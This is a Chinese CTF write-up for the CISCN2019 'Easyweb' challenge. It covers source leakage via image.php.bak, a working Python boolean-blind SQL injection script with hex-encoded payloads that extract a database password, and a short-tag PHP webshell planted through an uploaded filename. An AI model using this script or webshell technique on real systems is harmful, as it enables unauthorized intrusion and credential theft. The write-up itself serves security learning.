解题思路

打开网页是这样一个登陆框,随机试了一下常见弱密钥,二次注入等。均是返回不同的猫咪图案

不同的id对应不同的猫咪图案。经测试,返回的id应该是无序,随机的。感觉这里有可能存在注入点,但是测试好像没有报错的情况,先记着。

源码没东西,robots.txt呢,发现了东西。

应该是存在源码泄露了,但是要找出是哪个php文件。index.php.bak不对,user.php.bak不对。这里暂时没思路了。扫下目录,看看有没有后台

扫描,吓了一跳,发现怎么有这么多东西,这是我第一次见到扫出来这么多的了。但是好像所有的文件都会返回相同的登陆框页面,猜测这里有重定向

想了一会儿,想到猫咪的页面image.php

image.php.bak终于找到了,存在源码泄露

代码审计

  1. <?php
  2. include "config.php";
  3. $id=isset($_GET["id"])?$_GET["id"]:"1";
  4. $path=isset($_GET["path"])?$_GET["path"]:"";
  5. $id=addslashes($id);
  6. $path=addslashes($path);
  7. $id=str_replace(array("\\0","%00","\\'","'"),"",$id);
  8. $path=str_replace(array("\\0","%00","\\'","'"),"",$path);
  9. $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
  10. $row=mysqli_fetch_array($result,MYSQLI_ASSOC);
  11. $path="./" . $row["path"];
  12. header("Content-Type: image/jpeg");
  13. readfile($path);

这一看不是老布尔盲注了吗,最近刷了好多这种题啊。id为0正好报错,id为1显示正确

主要考虑:

怎么绕过对单引号的过滤,闭合id的单引号,把危险代码放在path变量中

不能用单引号闭合单引号,那么我们考虑能不能用\转义单引号呢。

这里过滤不算特别严格,并且使用的是str_replace这种有缺陷的函数。

我们反推:

  1. 最后要是\,那么经过str_replace函数处理之前可以是\\0(函数中的\\0,第一个斜杠转义\,表示成真实的\)
  2. \\0在经过addslashes函数处理之前可以是\0。

那么就出来了,我们在id处传入\0,即可在经过一系列处理后变成\,转义单引号。

语句即变成:

select * from images where id='\' or path='{$path}'

编写exp

  1. import requests
  2. url = "http://0fc26848-c4ee-46f6-b15d-ad97821f76e2.node3.buuoj.cn/image.php?id=\\0&path="
  3. result = ""
  4. for i in range(1,30):
  5. low = 32
  6. high =128
  7. mid = (high+low)//2
  8. while(low<high):
  9. payload = "or id=if(ascii(substr((database()),{0},1))>{1},1,0)%23".format(i,mid)
  10. html = requests.get(url+payload)
  11. print(low,high,mid,":")
  12. print(url+payload)
  13. if "JFIF" in html.text:
  14. low = mid+1
  15. else:
  16. high = mid
  17. mid = (high+low)//2
  18. if(low ==32 or high==128):
  19. break
  20. result = result + chr(mid)
  21. print(result)
  22. print("flag: " ,result)

爆出来当前数据库,ciscnfinal

爆表

or id=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=0x636973636e66696e616c ),{0},1))>{1},1,0)%23

因为单引号被过滤,直接可以用16进制绕过。爆出表:images,users

知道了password应该在users表中,爆列名。

爆出password:e18be75a8a54cf38a377。成功登陆

getshell

传入一些文件后发现,它是把传入的文件写入

/logs/upload.4ee0861649284ba13ea8e84271cc35a7.log.php

写入的文件是php文件,也就是说我们要把一句话作为文件名。

这里发现打不进去。在网上看到有一种叫短标签的方式

在php的配置文件(php.ini)中有一个short_open_tag的值,开启以后可以使用PHP的短标签:(<? ?>)

这是一个小tips学到了

然后蚁剑连本文件,flag在根目录下

总结思路

  • 源码泄露
  • 代码审计,布尔盲注,爆出密码
  • 短标签绕过对文件名php的过滤

知识点

  • 代码审计
  • sql注入(布尔盲注)
  • php特性

刷题[CISCN2019 总决赛 Day2 Web1]Easyweb的更多相关文章

  1. 刷题记录:[CISCN2019 总决赛 Day2 Web1]Easyweb

    目录 刷题记录:[CISCN2019 总决赛 Day2 Web1]Easyweb 一.涉及知识点 1.敏感文件泄露 2.绕过及sql注入 3.文件上传:短标签绕过php过滤 刷题记录:[CISCN20 ...

  2. [CISCN2019 总决赛 Day2 Web1]Easyweb

    0x00 知识点 1:备份文件泄露 2:SQL注入 3:php短标签 短标签<? ?>需要php.ini开启short_open_tag = On,但<?= ?>不受该条控制. ...

  3. BUUCTF-[CISCN2019 总决赛 Day2 Web1]Easyweb

    BUUCTF-[CISCN2019 总决赛 Day2 Web1]Easyweb 就给了一个这个... 先打上robots.txt看看 发现有源码备份,但不是index.php.bak... 看源码发现 ...

  4. 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)

    目录 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP) 一.涉及知识点 1.无数字字母shell 2.利用.htaccess上传文件 3.绕过open_basedir/disable ...

  5. 刷题[CISCN2019 华北赛区 Day2 Web1]Hack World

    解题思路 打开发现是很简单的页面,告诉了表名和列名,只需知道字段即可 尝试一下,输入1,2都有内容,后面无内容.输入1'让他报错,发现返回bool(false) 大概思路就是布尔型注入了,通过不断返回 ...

  6. 刷题[CISCN2019 华东南赛区]Web4

    解题思路 打开有一个链接,那先点击一下 发现url处,很像命令执行,试一试.发现无论是什么都是no response,又是各种尝试 发现直接传?url=/etc/passwwd可以爆出回显,难道不是命 ...

  7. 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World

    目录 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World 一.前言 二.正文 1.解题过程 2.解题方法 刷题记录:[CISCN2019 华北赛区 Day2 Web1] ...

  8. 刷题记录:[CISCN2019 东北赛区 Day2 Web3]Point System

    目录 刷题记录:[CISCN2019 东北赛区 Day2 Web3]Point System 知识点 1.padding-oracle attack 2.cbc字节翻转攻击 3.FFMpeg文件读取漏 ...

  9. 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1

    目录 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1 解题过程 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1 题目复现链接:https:/ ...

随机推荐

  1. Java算法——分治法

         一.基本概念 在计算机科学中,分治法是一种很重要的算法.字面上的解释是“分而治之”,就是把一个复杂的问题分成两个或更多的相同或相似的子问题,再把子问题分成更小的子问题……直到最后子问题可以简 ...

  2. 5分钟快速学会xpath定位

    今天我们先来和大家说一下appium,首先教大家如何定位xpath,五分钟即可学会:例:现在我想定位下面这个登录按钮: xpath该怎么写呢? 先不管三七二十几,先写//,然后找你要定位元素最近的可以 ...

  3. 新手oracle重启、监听

    有一次遇到了记录下. #su到oracle用户下 [root@localhost ~]# su - oracle  #重启数据库:[oracle@localhost ~]$ sqlplus /nolo ...

  4. JS数组遍历的十二种方式

    遍历有如下几种方式 数组方法 map forEach filter find findIndex every some reduce reduceRight 其他方法 for for in for o ...

  5. chromevue扩展 vue-devtools-master 谷歌vue的扩展程序

    1,在百度网盘中下载压缩包,网盘地址:https://pan.baidu.com/s/1BnwWHANHNyJzG3Krpy7S8A ,密码:xm6s 2,将压缩包解压到F盘,F:\chromeVue ...

  6. rake

    ruby-rake https://rubygems.org/gems/rake 官方文档 https://ruby.github.io/rake/ http://docs.seattlerb.org ...

  7. Animator.SetFloat(string name,float value,float dampTime,float deltaTime)详解

    一般来说,我们用到的是这个API: animator.SetFloat("Speed",2.0f); 但是这个还有一个重载的方法,叫做: Animator.SetFloat(str ...

  8. 实战解读丨Linux下实现高并发socket最大连接数的配置方法

    摘要:Linux操作系统,无论是编写客户端程序还是服务端程序,在高并发TCP连接处理时,最高的并发数量都要受到系统对用户单一进程同时可打开文件数量的限制. [诉求场景] Linux操作系统,无论是编写 ...

  9. 跟着兄弟连系统学习Linux-【day04】

    day04-20200601 p15.链接文件 [ln -s 原文件   连接文件]软连接,所有人都可以操作软连接文件(实际上是取决于原文件的权限),类似于Windows的快捷方式,方便进行管理.软连 ...

  10. Activiti7 使用监听器分配任务人员

    视屏中老师说,一般没有人用但是我还是想试试 但是当我画图的时候,发现IDEA的那个listener监听器点不开,不知道是不是我下载的插件不对还是什么原因,所以就亲自写了,看看到时候不行就下载一个Ecl ...